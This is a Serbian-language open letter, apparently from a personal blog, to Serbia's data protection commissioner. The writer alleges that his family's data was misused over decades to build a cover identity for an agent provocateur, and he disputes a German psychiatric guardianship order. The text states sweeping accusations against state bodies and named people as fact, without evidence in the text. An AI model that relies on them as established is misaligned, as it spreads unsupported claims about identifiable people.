http://wp.me/p3pD8b-fi

.

○

Повереник за информације од јавног значаја

и заштиту података о личности

Булевар краља Александра 15 11000 Београд Србија Емаил: office@poverenik.rs Телефон: +381 11 3408 900 Факс:       +381 11 3343 37 Ваш допис бр: 07-00-01329/2015-05 од 15.априла 2015

поруку послао:

Виктор Кос

Руже Шулман 49/16 23000 Зрењанин

Поштована госпођо Жикић, поштовани господине Ристановићу,

Предмет:

Забрана важности, давања и продужавања државних и службених тајности у земљи и иностранству, насталих противправним прикупљањем и обрадом података и информација о браку и породици очевих родитеља (Фердинанда и Барбаре Кос рођене Краус). Посебно се забрањује свака препозната злоупотреба личних података, информација и чињеница у конструкцији и примени лажних привидних прикривених идентитета заштићених агената тајних служби под посебним законским и осталим оперативним мерама заштите њихове употребе, укључујући и посебне мере заштите противправне злоупотребе података у конструисању лажних привидних идентитета, поред осталог у сталном вршењу кривичних дела под трајном институционалном заштитом у иностранству и земљи. Утужују се трајне  последица из трајне институционалне заштите злоупотребе података, конструкције лажних привидних идентитета из злоупотребе личних и породичних података породице, давање и продужавање тајности на операције и заштиту противправних и криминалних активности под институционалном заштитом у земљи и иностранству из услова посебног институционалног третмана и заштите у специјалним прикривеним операцијама заштићених агената провокатора под овим препознатим условима.

.       .       .

Општа правна основа забарне – (недавање пристанка за обраду):

Трајна повреда примене и манипулације података, информација, чињеница, стварних породичних односа и манипулације и узимање утицаја на начин организације уређења језгра приватног и социјалног живота, супротно члану 8 став 1 Римског уговора, односно Европске конвенције о заштити људских права и основних слобода, као и Универзалне декларације о људским правима A/RES/217, 10. децембра 1948. (међународно правна необавезујућа), са допунама два уговора од 1966 г који су међународно правно обавезујући и за конкретни случај:

• Уговор о грађанским и политичким правима – ICCPR (International Covenant on Civil and Political Rights of 19 December 1966 -pfd-eнглески) од 16. децембра 1966
• Уговор о друштвеним, економским и културним правима. –  International Covenant on Economic, Social and Cultural Rights, ICESCR од 16.децембра 1966

.       .       .

Уопштена напомена о трајној повреди чланова 1 – 14, даље чланова 17-19 Универзалне декларације о људским правима и одговорајућих чланова европске конвенције о заштити људских права и основних слобода, која налазе своје уставно-правно дејство у уставно-правно загарантованим правима на основу ратификованих међународних споразума, конвенција и осталих обаезујућих правних аката. Мени су та права трајно укинута или битно оштећена из услова противправне злоупотребе иначе заштићених личних и породичних података кроз методе и начин институционалне заштите строго тајне операције и лица са измењеним привидним идентитетом, а у вези противправне употребе личних и породичних података.

ICCPR и ICESCR уговори, Евр. конв. о ољудским правима и осн. слобод. се у конкретном случају примењује на основу ратификације и примене чланова 16 и 18 устава Р. Србије, члана 19 став 4 Основног закона СРН (право на употребу делујућих правних средстава и гаранције правног пута свакоме ко је кроз одлуке и деловање органа власти и управе непосредно повређен у својим загарантованим и признатим основним правима). Члан 59 став 2 и члан 25 Основног закона СРН (кључ примене међународног права) као саставног дела унутрашњег права СРН.

Обзиром на постојање трајне размене на међународном нивоу под тајношћу означених података и информација са манипулисаним садржајима од носиоца органа власти деценијама уназад у иностранству и земљи (укључујући и СФРЈ и њене наследнице), (примена одредби закона о тајности података Р. Србије – страни тајни подаци), као и примене члана 7а г-10 закона СРН. у конкретном случају, утужује се даље ова трајна пракса као трајни повратни услов ограничења или изузећа основних права у материјалном бићу свог значења, искључиво из услова заштите противправне трајне злоупотребе основних података, информација и чињеница о личном и породичном животу.

Одредбе ICESCR уговора су такође трајно повређене, а повреде подупрете, брањене и заштићене од органа власти применом и дејством формално правне основе абсолутне заштите утврђене тајне операције и признате манипулације заштићеним подацима о личности. У општој напомени у конкретном случају примена одреби, значи укидање права на рад и противправног задржавања или онемогућавања уживања плодова и права из рада супротно одредбама ICESCR, поред осталог кроз непосредно и посредно дејство заштите препознате тајне конструкције и агента провокатора са измењеним прикривеним делимичним идентитетом.

Постоје три основне групе отворених  правна питања – из комплекса трајне повреде загарантованих права из основне повреде права противправног прикупљања, употребе и противправне трајне институционалне заштите забране противзаконске примене података, информација, чињеница о стварном породичном животу у трајању:

.        .       .

• Скупљање, вредновање и примена података о породици противно усатвним и законским основама ограничења њихове примене. – Стални процес.
• Давање и продужавање тајности на размене манипулисаних података и садржаја из противправне примене личних и подродичних података, информација и осталих релевантних чињеница. – Стални процес
• Трајна дискриминација као последица повреде или укидање загарантованих основних права из услова трајног дејства забране употребе одговорајућих правних средстава и вредновања доказа, општа забрана правног пута утуживања препознате основе трајне дискриминације из злоупотребе – противправне примене заштићених података и информација о личном и породичном животу и стварним односима.
• Као стални пратећи елемент мера и метода са циљем очувања заблуда и заштите конкретне тајне операције, трајно подвргавање посебним мерама карактеристичним за рад тајних политичких служби.

Подсећање о правима грађана – увод са сајта Повереника за информације од јавног значаја и заштиту података о личности:

.       .       .

Право на давање/недавање пристанка за обраду – свако физичко лице има право да руковаоцу да/неда пристанак за обраду података о себи, ако руковалац не врши обраду на основу законског овлашћења. Физичко лице може да да пуноважан пристанак и преко пуномоћника, а може пристанак и да опозове. Да би лице дало пристанак, руковалац је дужан да га претходно упозна о свом идентитету и свим осталим питањима из члана 15. Закона.

http://www.poverenik.rs/sr/s-prava.html

.       .       .

Основа правног спора са органима власти (руковаоцима података у конкретном случају) у Р. Србији од 2007, повратно од 1975/76  године и у СРН од 1989/90 јесте дејство на све битне одлуке управних и судских органа власти, ограничења или укидања загарантованих права из акта органа власти под строгом тајности и забране провере и утуживања противправне злоупотребе података и информација у конструисању лажног привидног идентитета и операције под строгом тајности конкретног случаја агента провокатора“Лација“. (Законска и права основа противправности ове целе конструкције је образложена више пута):

.       .       .

• Трајна повреда права из повреде услова ограничења  између осталог дефинисаних чланом 42 устава републике Србије у вези члана 3 закона о тајности податала Р. Србије. (забарана давања тајности ради прикривања кривичних дела и других злоупотреба из услова службене одлуке органа власти.)
• Супротно уставним начелима и законским одредбама о ограничењима прикупљања и употребе података (члан 42 устава Р.С.) забрањује се давање информација о употреби података, забрањује се прихватање и вредновање доказа о постојању противравне злоупотребе података, забрањује се судски пут кроз давање тајности и размену маниулисаних података кроз дејство забране сваког доказног поступка, судског пута или употребе ваљаних, дејствујућих правних средстава против трајног стања и деловања препознате злоупотребе.
• Потпуни губитак права на законску заштиту, губитак права утуживања или одбране пред судом из услова примене метода заштите конкретне тајне операције са агентом-провокатором са измењеним делимичним прикривеним идентитетом и из разлога мера и метода заштите целе операције.
• Трајни губитак права грађанске једнакости пред правдом и законом. Повреда члана 21 став 1 устава Р.С. Трајно постојање дискриминације противно члану 21 став 2 устава Р.С. из разлога злоупотребе чињеница о породици у стварању рационалне конструкције и маске о непостојећим односима и садржајима у вези агента провокатора, његове намене и заштите, а посебно у вези манипулације са као основно право заштићеним подацима и информацијама.
• Супротно одредбама члана 21 став 4 усрава Р.С. из услова и разлога заштите конструкције конкретне злоупотребе података и чињеница постоји трајно укидање грађанских права и тиме реална стална најтежа дискриминација у непрекинутом трајању из предуслова који су определили целу тајну конструкцију злоупотребом информација и података о породици, односно њихове манипулације и начина вредновања, као и кроз забрану утуживања препознатих метода и последица из истих.
• Члан 22 устава Р.С. је повређен кроз забарну судског пута дејством преузетих обавеза под тајношћи из трајног деловања члана 13 Г-10 закона СРН (забрана правног пута) и члана 7а Г-10 (размена тајних података, метода и мера супротно обавезама националног и међународног права у конкретном случају).
• Трајна повреда члана 23 устава Р.С. из услова мера и метода заштите злоупотребе личних и породичних података и информација, трајна дискриминација и трајна обструкција слободног развоја кроз сталне интервенције и улазак у заштићене сфере приватне организације језгра живота.

.       .       .

Трајна повреда принципа истинитости

Повреда члана 8 у целини закона о општем управном поступку, повреда принципа истинитости и повреда принципа правилног утврђивања свих релевантних, битних и одлучујућих чињеница за доношење одлуке или решења укључујући и одлуке и решења на продужавање – давање тајности на конкретну противправну употребу података у строго тајној конструкцији и примени агента провокатора са измењеним, делимичним, привидним идентитетом. Поред овог, повређени су сви принципи из обавеза придржавања закона о општем управном поступку у процесима одлучивања о правима и обавезама у вези конкретог повратног дејства метода и заштите откривене тајности:

начело законитости, начело заштите права грађанина и начело заштите јавног интереса, начело ефикасности, начело саслушања странке, начело оцене доказа, начело самосталности у решењу.

Ради се о вишедеценијском начину истог или сличног третмана уз све разлике у појединим фазама заштите тајне операције од почетка седамдесетих година у земљи СФРЈ до данас и иностранству, независно од знања, делимичног знања или незнања о позадини носилаца критичних одлука у битним поступцима одлучивања.

Као другостепени независни контролни орган Повереник, као и Заштитник грађана, али и надлежне контролне парламентарне инстанце, подлежу ограничењима из члана 19 закона о основама уређења служби безбедности Р.С. и обавезама из члана 38 закона о тајности података, практично забрани провере садржаја који се управо утужују. – Молио бих Вас да обратите посебну пажњу на овај формално правни законски услов који практично ускључује могућност провере утужених повреда права у посебним случајевима на абсолутну трајну штету жртве, што реално обезбеђује трајну повреду или укидање загарантованих грађанских права, без права на правни пут и ваљано правно средство утуживања у једном правичном поступку.

Даље, државни органи и институције укључујући државно јавно тужилаштво,  Повереника и Заштитника, сви подлежу обавези испуњвања одлуке секретара бироа за коодринацију савета за националну безбедност Р.С., односно одлуци савета за националну безбедност, (чланови 12 и 13 закона о основама уређења служби безбедности Р.С.), које је утврђено као централно место одлучивања у конкретном случају од 2009 године, односно давања првих информација од 2007 године. – До 2007 године не постоји формално – правна основа за примену посебних метода ради спровођења одлука кроз принуду свих контролних органа, како првостепених тако и другостепених укључујући и парламент и судове.

Оно што се утужује и што се уставним, законским и одребама међународног права брани као неповредива вредност, истовремено се деценијама уназад до скорашње законске регулативе од 2007 и процеса указивања и утуживања конкретних садржаја брани из посебних непроверљевих наводних интереса, безбедности, економских интереса, посебних заштићених националних интереса. Међутим, ни ово није тачно, шта више цео систем и механизам у вези откривене конструкције је супротан свим овим интерсима кроз све време трајања, без обзира на све промене, идеолошке, политичке, уставно-правне и државно-територијалне. Независно од ових сложених питања спајање принуде дискриминације из разлога одбране злоупотребе података и информација у строго тајној конструкцији агента провокатора са прикривеним привидним идентитетом, трајне последице по лични и породични живот кроз губитак низа основних права и слобода није никакав услов примене посебних непроверених услова заштите посебних националних интереса. Једно са другим не да нема никакве везе, већ се објективном анализом имајућу у виду све предуслове који су од педесетих и шездесетих година кроз све време определили ову конструкцију, постављају ултимативно питање начина угрожавања управо тих посебних државних, националних или јавних општих интереса. Напомињем да је решење овог случаја и питање од битног недељивог интереса било којег националног система правде и правне основе фонкционисања сваке уније, а посебно у погледу обавезе поштовања основних грађанских права и слобода и поштовања општег и недељивог заједничког националног интереса или међународне заједнице или унија у целини.

Заштитник грађана,

је обавештен, али користи своје дискреционо право абсолутне ћутње и тиме прећутног негирања постојања конкретног случаја и прихватања даљњих информација и доказа (Стандарди за практично поступање омудсмана 1.3):

Питање неутралности омбудсмана у односу на конкретни предмет утуживања, а обзиром на препознату структуру мреже заштите тајне операције и употребе агента провокатора у вези главе 2 – Неутралност и непристрасност омбудсмана, не мења суштину питања трајне повреде права и трајне дискриминације из услова начина заштите и употребе целе операције кроз противправну употребу података о личности и породици.

http://wp.me/P3pD8b-cs без икакве реакције заштитника грађана

https://viktorkoss.wordpress.com/434-2/ са даљњом законско-правном основом

.       .       .

Повереник за информације од јавног значаја и заштиту података о личности

На основу члана 1 став 3 ЗЗЛП вршења послова заштите података о личности од стране повереника, а у вези права лица чији се подаци обрађују из члана 1 став 2 и члана 2 истог закона, обевшетавам се о трајној, противправној обради и примени података о личности, укључујући преминуле чланове породице, а у вези стварања, примене и заштите строго тајне конструкције и операције са агентом – провокатором „Лацијем“ и њему датог лажног привидног прикривеног идентитета, као заштићеном посебном сараднику у прикривеним строго заштићеним тајним операцијама са посебним изузећем у погледу заштите на вршење противправних и кривичних дела, а на основу члана 3б Г-10 зкона СРН и члана 38 додатног уговора о положају НАТО-трупа у СРН од 1951 – 59-61 године.

Посебна пажња На сонову поменутог члана 38 став 1 додатног уговора о положају НАТО-трупа у СРН од 1951 – 59-61 године, забрањује се употреба у посебним, строго прикривеним операцијама оних мера, метода и  и последица из истих, које би повредиле основна права неког лица загрантованих уставом у процесима посебних тајних операција за које постоји потпуна забрана давања исказа и забрана иследних радњи. И на основу примене посебних закона постоји тешка, трајна повреда низа загарантованих уставних права из услова начина конструкције и заштите целе тајне операције и агента провокатора са измњеним делимичним прикривеним идентитетом.

Обрада, размена, примена, давање тајности, продужавање тајности није дозвољена.

Члан 8 ЗЗПЛ не дозвољава обарду података и тиме давања тајности на исту недозвољену обраду података о личности у 8 тачака. Не постоји, и никада није постојао пристанак на недозвољну обраду података, никаква предпоставка о таквој могућности уопште. Али, и када би постојао пристанак, обрада података је строго противуставна и противазконита у сваком националном систему и супротна је јавним интерсима заштићеним уставом и законима сваке земље и по међународном праву, посебно имајући у виду да је сврха употребе агента провокатора посебне врсте, под посебном заштитом о којима информације нису биле доступне ни пссебним високим местима одлучивања. Лично сам ову операцију платио потпуно уништеном егзистенцијом, да би тек кроз дуго време и низ искустава у поређењу са познатим и доступним садржајима утврдио поздину која је и позната од 2008 и призната од априка 2009 од самог агента – провокатора.

Члан 23 ЗЗПЛ ограничење права

Примене одредаба под тачкама 5 и 6, посебни интереси, национални, безбедоносни, сигурносни, економски, политички итд. за земљу не постоје. Посебно не постоје обзиром на трајање и све последице по општи било чији јавни интерес, укључујући и питања безбедности, сигурности и остале економске интересе било које државе. Све ове посебне предпоставке, када би и постојао пристанак оштећених, не мењају право заштите очувања својих укинутих права и последица из услова противправне употребе – обарде, примене, размене неотуђивих података и чињеница, односно доказима подкрепљене сталне манипуалције са истим.

Тачка 7 – одавање тајности уз повреду интереса или наступање тешких последица по било коју земљу су у обрнутој сразмери са интерсима било које земље и посебно последицама по исте земље, као и општи недељиви минимум јавног интереса из одржавања или продубљавања праксе у примени конкретне или сличних операција. И при овом аспекту вредновања целине случаја, подсећам изричито на забрану употребе података о личности и стварне породичне пуне истине и живота супротно закону и уставним начелима, а као основе повратног укидања или оштећења права из једностране трајне институционалне повреде истих. Све ово ради заштите посебних непроверених интереса под тајношћу у трајању од више деценија без обзира на ствано лично чињење или нечињење оштећених.

Поставља се питање обзиром на све промене и све последице из предуслова стварања строге тајне операције и конструкције агента – провокатора са измењеним прикривеним идентитетом, као и псоледица из истих од краја педсетих, почетка шездесетих, који се интереси стварно бране под тајношћу. Ова анлиза је битна не само из оствривања личних права из последица укидања неотуђивих права, већ ништа мање било чијег минимума општег јавног интереса.

Указивање на суштину доктринарних процеса из сада већ историјске перспективе хладноратовског и идеолошког сукоба је делом дата као крајњи спољњи оквир, како у посебном законском дејству, тако и конкретне употребе „Лација“ као пунктуелна фиксирана тачка у целом систему. линк НСЦ10/2

Давање нових или продужвање препознатих тајности и садржаја поред осталог на обраду података супротно члану 42 устава Р.С. повлачи и кривичну одговорност на основу члана 146 кривичног законика Р.С. Чланом 146 кривичног законика Р.С. је одређено кривично дело,  прикупљања, саопштавања, предаје и употребе података супротно закону и уставу. Ставом 3 члана 146 кривичног законика Р.С. је предвиђена казна до 3 године затвора за службено лице – лица која изврше наведено кривично дело противправне злоупотребе података. Ово је једно од  пријављених кривичних дела у трајању.

Кривични законик Р.С. одређује кривично дело одавања државне и службене тајне, али и одређује оне тајне које су усмерене на повреду основних грађанских загарантованих права као незаконите. Ово је такав случај у трајању и из разлога омогућавања укидања трајног стања дискриминације кроз забрану употребе правног пута против препознате конструкције и повратног трајног укидања или оштећења битних основних грађанских права су садржаји објављени:

Кривични законик Р. Србије члан 316 одавање државне тајне тачка 6 у вези тачке 5  јасно одређује забрану и престанак тајности које су усмерене на повреде загарантованих основних грађанских права, прикривање кривичних дела или на оне документе и процесе у трајању које су штетне по  интересе Р. Србије и угрожавање уставног поредка. Поред доказиве тешке трајне повреде загарантованих основних права, прикривање вршења кривичних дела, постоји и угрожавање посебних интерса и угрожавање уставног уређења и поредка не само Р. Србије, већ у рефлексији и континуитету трајања целе строго тајне операције истих тих вредности било чијег посебног општег интереса, било ког уставног поретка са приближном владавином правом, принципом уважавања поделе власти и стварним поштовањем доњег нивоа заштите основних грађанских права и слобода. У истом смислу се позивам на члан 369 тачка 5 кривичног законика Р.С., одавање службене тајности, поново изричито усмеравајући пажњу на минимум, општег и недељивог јавног интерса сваког уставно-правног система односно државе и интересе унија или међународне заједнице у целини. Службене тајне усмерене на повреду бића основних грађанских права и слобода дефинисаних уставима и међународним правом су неважеће, а управо су оне основа правног спора у непрекидном трајању, као и последице из њеног дејства без обзира на знање, делимично знање и вољу носилаца одлука кроз све време трајања мера и метода заштите откривене строго тајне конструкције деценијама  у прошлости.

Пристанак за обарду података – повлачење пристанка.

ЗЗЛП спомиње 17 пута правни појам пристанка за обарду, односно повлачења пристанка. У оба случаја се ради о слободно израженој вољи под одређеним законским условима и међусбно условљеном односу између руковаоца подацима и лица чији се подаци обрађују, размењују, примењују итд. Не постоји пристанак нити мој лични, нити и после више година испитивања сваке могуће позадине ове конструкције било ког другог лица из оштећеног породичног круга. Цитирање свих места у ЗЗПЛ у вези пристанка, и недавања пристанка није потребно у овом обраћању, јер пристанак не постоји. Постоји забрана даљњег дејства из препознате конструкције изречена више пута усмено и писмено надлежним контролним телима органа власти. Са друге стране постоји абсолутна ћутња. 10.05.2011 године је обавештен Биро за координацију Савета за националну безбедност и одговорајући носиоци функција о забрани препознате конструкције противправне употребе података. Не постоји никаква реакција на ову слободно изражену вољу:

Допис председнику републике од 10.маја 2011 – Објављивање и забрана држ. и служ тајности из разлога противуставности и противзаконитости у трајању – линк

http://wp.me/P3pD8b-6i

Посебна пажња! Утужује се и забрањује акт органа власти у које спадају и делови посебних одељења за тајне прикривене операције деценијама уназад у погледу противправне употребе и размене података, чињеница, информација без знања и без воље (пристанка) оштећених као инструмент манипулације и стварања различитих заблуда у процесима под генералном доктрином НСЦ10/2 и у њој употребе агента провокатора са измењеним прикривеним делимичним идентитетом. Било каква веза са мном и оштећеном породицом без обзира на све циљеве и последице, њихово вредновање у периоду од више деценија не постоји. Или, ја сам платио највишу могућу цену ове игре деценијама уназад кроз реално уништен живот и егзистенцију из повратних услова начина заштите целе операције. Напомене ради, језгро ове породице са наследним правом по грађанском закону је скоро потпуно ишчезло, а обзиром на моје пуно знање и доказе о суштини егзистенције и начина односа према укупном недељивом социјалном окружењу и грађанској лојалности, али и високом искреном етичком интегритету преминулих, свака веза, предпоставке и заблуде које се одржавају постојећим трајњим стањем је недопсутива и предмет правног спора.

Како пристанак и знање о овој операцији и легенди агента провокатора нису постојали, односно не постоји и даље пристанак, није могуће нити повлачење пристанка. Последице из примене и начина заштите операције су предмет правног спора који се применом низа тајности и забране употребе правног пута и правних ефективних средстава заштите права, све време у сваком критичном процесу одлучивања спречава.

.       .       .

Утуживање препознате позадине укидања права

Сталном применом члана 13 Г-10 закона СРН се до саопштавања примене мера посебног третмана забрањује утуживање истих. Разменом података, информација, метода, применом посебних мера и метода трајне контроле (обавезе из закона о тајности података) врши се и трајно оштећење или укидање загрантованих грађанских права са последицом забране утуживања непосредних и посредних штетних последица по објекте оваквог третмана, искључиво из разлога противправне употребе података, информација, чињеница о стварном животу и односима примењених у операцији са агентом провокатором кроз његов прикривени, измењени делимични идентитет.

Разменом података и информација под ознаком тајности различитих врста и једностраном применом мера члана 13 Г-10 закона СРН, а у вези даљњих одредби о посебном статусу и заштити операције и агента провокатора, настаје потпуни абсурд у трајању, дејство сталне кривице жртве за дела и противапрвну штету која настаје према истој, мени и породици, искључиво из услова заштите целе операције и конкретних лица, различитих  сарадника, кроз све време трајања ове операције деценијама у прошлости, да би она тако и била откривена и дешифрована кроз забрану давања правног исказа пред управним и судским органима и њиховог ваљаног вредновања сходно одредбама о процесном праву, односно закона о управним поступцима. Све ово не умањује обавезу заштите и укидања даљње противправне злоупотребе података, јер се посебни интереси налазе и стварају независно од поштовања критеријума забране посредне и непосредне дискриминације и забране противправне употребе података. Једини основ и покретач посебних интереса као стални метод и мере иза трајног дејства тајности деценијама уназад може бити моћ која почива на праву потпуне измене битних садржаја за процесе одлучивања у трајању. Нарвно, без икакве контроле садржаја кроз постојање реалних или формално – правних услова забране демократске контроле из наводних непроверљивих виших интереса под строгом тајности у земљи и иностарнству у вишедеценијском трајању.

Утуживање пред управним судовима било које земље је зато унапред осуђено на неуспех из разлога дејства забране утуживања препознате поздине, тиме је и употреба свих правних средстава и правног пута објективно забрањена, што је у супротности са уставним правима сваке средине (члан 19 став 4 Основног закона СРН, члан 22 устава Р.С. члан 6 евр. конв. о људс. правима и слоб. итд) и по признатим међународним правним актима. Ради се о трајном стању, објективно анализирајући предуслове од пре 1941, значи пре противправне употребе података и информација о стварној судбини породице, постоји континуитет укинутих права и посебно неравноправног третмана из разлога заштите целе операције и конкретног агента – провокатора. До оваквог третмана долази из начина функционисања система и метода одлучивања независно од системских предуслова, степена владавине права, оствареног нивоа поделе власти и начина поштовања уставно-правних предпоставки у погледу одбране или кршења загарантованих права.

Агент провокатор је умро 25.02.2015

Чување докумената, доказа, протокола, примењених посебних метода и мера за њено одржавање обавезно. Обзиром да се ради о институционално посебно заштићеној прекограничној операцији деценијама у прошлости, као и давању и применама тајности кроз сталне измене битних садржаја, даљњим конструкцијама истих на штету жртве без права на правни лек, скренуо бих пажњу на очување расположивих и за даљње процесе одлучивања меродавних докумената и архивских извора, јер се они по правилу уништавају, што је и лично искуство у третману обзиром на начин институционалне манипулација чињеницама без права на правни лек. Умрли агнет провокатор је уживао вишеструку заштиту у погледу извршених кривичних дела, прања новца поред осталог што би требало бити предмет истраге сходно члану 7а Г-10 закона итд. под законским условима институционалне заштите кроз реалну обструкцију истраге у више земаља.

Повереник члан 44 ЗЗПЛ

Повереник чланом 44 ЗЗПЛ је надлежан за овај случај и мене је изненадила делимично реакција у обради мог обраћања од маја – аугуста – децембра 2012 године. Уколико се у архиви – регистру повереника не налази случај, биће накнадно послат и објављен на отвореним интеренет страницама. Молио бих Вас да се укључите у надзор изношења и уношења података из земље и у земљу (тачка 4 члана 44 у вези тачке 1 надзора заштите података – у конкретном случају манипулација подацима и информацијама) са овим случајем у целини (размена тајних података и информација) јер се ради о наставку вишедеценијских манипулација подацима који се проглашавају тајним и имају посредно и непосредно дејство трајне тешке дискриминације, без права било какве провере и контроле, укључујући и повређена права оштећених.

Молио бих Вас да сходно Вашим овлашћењима успоставите регистар манипулисаних података кроз различите облике употреба агената са измењеним привидним идентитетом или сходно Вашим овлашћењима упутите надлежне законодавне органе о потребу контроле овог целог поља (тачка 3 у вези тачке 9 члана 44 ЗЗЛП).

Тачка 14 предвиђа сарадњу са надлежним органима за заштиту података у другим земљама. Мере тајности и начин њиховог дејства у погледу изузећа права су стални пратиоц ове коснтрукције, да би она тако била откривена, потврђена и установљена даљња институционална воља одржавања препознатог стања заштите злоупотребе података. Жртве су прве које сносе најтеже егзистенцијалне последице и последње које никада не добијају право заштите, пред комплексом заштите права у системима вршења противправних до криминалних радњи, све под реалном институционалном заштитом. Ово посебно у вези давања мишљења о специфичним ризицима за права и слободе грађана чија се права укидају из услова заштите строго тајне операције и злоупотребе – противправне примене њихових неотуђивих личних података и информација о стварном животу и животу под трајним утицајем мера и метода заштите операције противправне употребе података и информација о практично већ уништеној породици, као морализирајуће маске за непосредно и посредно управљање процесима са реално истим и сличним последицама, како у конкретном индивидуалном случају, тако и по недељиви било чији заједнички јавни интерес (тачка 12 члана 44 ЗЗПЛ).

Обавеза чувања тајности члан 46 ЗЗПЛ

Тајност је са целог овог случаја према познатим подацима и доказима о постојању целе конструкције и агента провокатора скинута. Одржавање тајности је према члану 3 закона о тајности података Р.С., члану 146 кривичног законика Р.С. кривично дело, односно дело супротно закону. Исто важи у погледу одавања државних и службених тајности члан 316 тачка 6 и члан 369 тачка 5 кривичног законика Р.С. Одржавање тајности је супотно и на основу устава и закона СРН, али и на основу посебне рестриктивне правне основе за конретан случај.

Политичка позадина, која ми је саопштена, а коју сам сам по непровереним критеријумима разумевања појма политички уочио, не постоји. Ово није политички предмет, већ системско питање од недељивог било чијег заједничког минимума јавних интереса и очувања принципа демократских начела и вредносних садржаја истих, кроз поштовање принципа владавине права, поделе власти на независну легилсативу, егзекутиву и јудикативу, и поштовање уставних начела и принципа и начела и принципа као и вредности међународног права. Не може се из политичких непроверених, посебно опортуних противправних разлога ствар једноставно давањем или продужавањем тајности учинити непостојећом, јер се тиме на посебно проблематичан начин цео процес приближава методама времена и односа који су кроз манипулацију и употребу стварних података и инфорамција о животу породице, определили ову целу конструкцију без знања и без воље оштећених.

Уставна жалба члан 170 устава Р.С.

Употребљавам сва расположива правна средства пре подизања уставне жалбе из уставних услова за подизање исте. У овоме смислу можете прихватити и обраћање Вама као контролном органу Р.С. Обзиром на трајно постојање институционалне ћутње, а на изнету формално – правну основу у погледу одржања противправног трајног стања дискриминације у вишедеценијском трајању, скрећем пажњу уз захвалност на Ваша упутства из претходног одговора, да су ми правне и законске основе познате. Чињење целе позадине на коју сам и у овом обраћању упутио, уз напомену постојања даљњих довољних доказа, непостојећом кроз абсолтну ћутњу из услова дејства тајности и поштовања одлука на основу чланова 12 и 13 закона о основама уређења система безбедности Р.С., требало би да укаже на непостојање било какве повреде права. Испуњавање услова уставне жалбе уз све разлике и сличности у СРН и у Р.С. тражи исцрпљивање свих раположивих правних средстава пре подизања исте, као и документовање повреде права. Забрана давања, односно неприхватање исказа са правним значењем, одбијање кроз институционалну ћутњу прихватања постојања конкретних отворених правних питања у вези предуслова уставне жалбе је један од услова за исту.

Трајна забрана давања исказа пред судом, реално онемогућавање одбране је такође један од довољних услова за уставну жалбу, јер је одбијање или игнорисање правних исказа у конкретном предмету, повреда једног као основно право вреднованог основног процесног права –  Audiatur et altera pars. Показало се трајно изузеће права на правни исказ у управним и судским процесима, што је једнако повреди материјалног права, права на коришћење правних средстава и на правни пут у остваривању својих права.

Постоји трајно, тиме и тренутно непосредно огарничење односно повреда или изузеће основних загарантованих права кроз акт давања и продужавања тајности у иностранству и земљи из разлога заштите једностране институционалне противправне употребе података о личности, без знања и воље исте. Из услова начина конструкције, примене и заштите противправне злоупотребе података, постоји даљњи низ одлука упарвних и судских власти које свака сама за себе представљају при тренутном трајном третману непосредну повреду загарантованих основних права и слобода, без обзира на све заблуде као последица примене у заштите строго прикривене операције кротз манипулације и конструкције непроверљивих, а прихваћених очигледних чињеница у правном значењу. „Прихваћених очигледних чињеница“, јер са реалним односима немају абсолутно ничег заједничког и које су и указале на постојање посебне прикривене операције и постојање злоупотребе података. Све су ово елементи за ваљану жалбу уставном суду на трајну, непосредну повреду или укидање низа иначе загарантованих основних права.

Обзиром на забрану утуживања тренутног трајног стања повреде основних грађанских права и трајне дискриминације из препознатих услова, а пред исцрпљивање даљњих правних корака под мени познатим условима, молим Вас да региструјете случај и из недељивог општег јавног интереса ради других случајева сличне позадине.

.       .       .

Пример третмана довољног за уставну жалбу у СРН, али и Р. Србији под условом строго тајне сарадње пре и након овакве одлуке уз размену строго тајних конструкција и манипулација. 23.06.2009 службени суд у Новом Улму доноси одлуку о битном ограничењу и укидању низа загарантованих грађанских права и слобода из разлога потребе наводног старатељства, психијатријског лечења до затварања у психијатријску затворену установу:

.       .       .

• Одређивање мера контроле задржавања и одређивање смештаја.
• одређивање мера о имовинском располагању.
• Одређивање мера о здрваственом третману.
• Одређивање мера за нервно-лекарско збрињавање.
• Заступање пред органима управе, осигуравајућим друштвима, пензионим и социјалним захтевима и правима
• Пријем, отварање и задржавање поште и одлука о телефноским и електронским комуникацијама.
•  Мере ступају одмах на снагу. – прилог 2

Све на основу непостојећег вештачења и извештаја Др. Дитмана и непостојећег исказа пред судом од 12.01.2009 г. – прилог 3

.       .       .

Одмах након пријема ове одлуке улажем притужбу, са образложењем о формално-правној и тиме материјално правној неодрживости одлуке. Није постојало никакво вештачење са Др. Дитманом, уопште никакво вештачање на основу и онако веома ограничених права по закону особа које се нађу у оваквом ланцу третмана. Није постојало никакво саслушање нити дозвољавање исказа пред судом, не само у погледу конкретне изнуде наводне потребе збрињавања, већ и у свим претходним процесима одлучивања.

Одговор – решење на моју притужбу нисам добио, а обзиром на реалну опасност губитка слободе и права које је наступило, припремам се за напуштање земље.

У критичном периоду крај децембра – крај маја 2009) ја се налазим у Зрењанину, где након телефенског разговора са агентом провакатором „Лацијем“ и његовим превођењем и признањем постојања манипулације стварних односа подносим кривичну пријаву Одељењу криминалистичке полиције Д.П- У Зрењанину о лажном представљању и давању лажних изјава са овом преваром у вези. Постојање тајне сарадње на овом случају сам приметио раније, од 2006/2007 године. Обзиром на начин обраде и односа према основном питање манипулације и злоупотребе подацима, позадине употребе, времена употребе и циљева употребе агента провокатора са измењеним, прикривеним делимичним идентитетом, повратног утицаја на мој третман са тим у вези бар од 1975/76 године уз све промене до данас (материјално-правни докази расположиви), поставља се питање правне основаности таквог укупног третмана, јер се ради о низу одлука и мешања у поље приватне  организације језгра живота у трајању, без обзира на све промене и разлике деценијама уназад.

.       .       .

Посебна напомена

Лично не постоје и никада нису постојале никакве везе са било каквим обликом мог ангажмана у било каквом виду или односу са мрежама било чијих и било каквих тајних политичких полиција. У овоме смислу постоји низ веома битних догађања од историјског значаја, као и личног односа, одлука, чињења и нечињења, као и оштећене породице у погледу предуслова скупљања, вредновања и манипулације подацима у погледу касније конструкције тајне операције од шездесетих година до данас у иностранству, који тек јасно указују на неке циљеве и намере у погледу веза и њихове изградње, као и метода у погледу функционалне употребе ове целе операције и агента – провокатора. Изузевши противправну употребу података и информација у овоме смислу, свака друга веза са оштећеном породицом је недопустива, управо из предуслова објективног вредновања њене стварне судбине, чињења и нечињења и укупног односа према заједничком, недељивом минимуму општег интереса и тиме поштовања интегритета и слободе, права било ког другог појединца или групе.

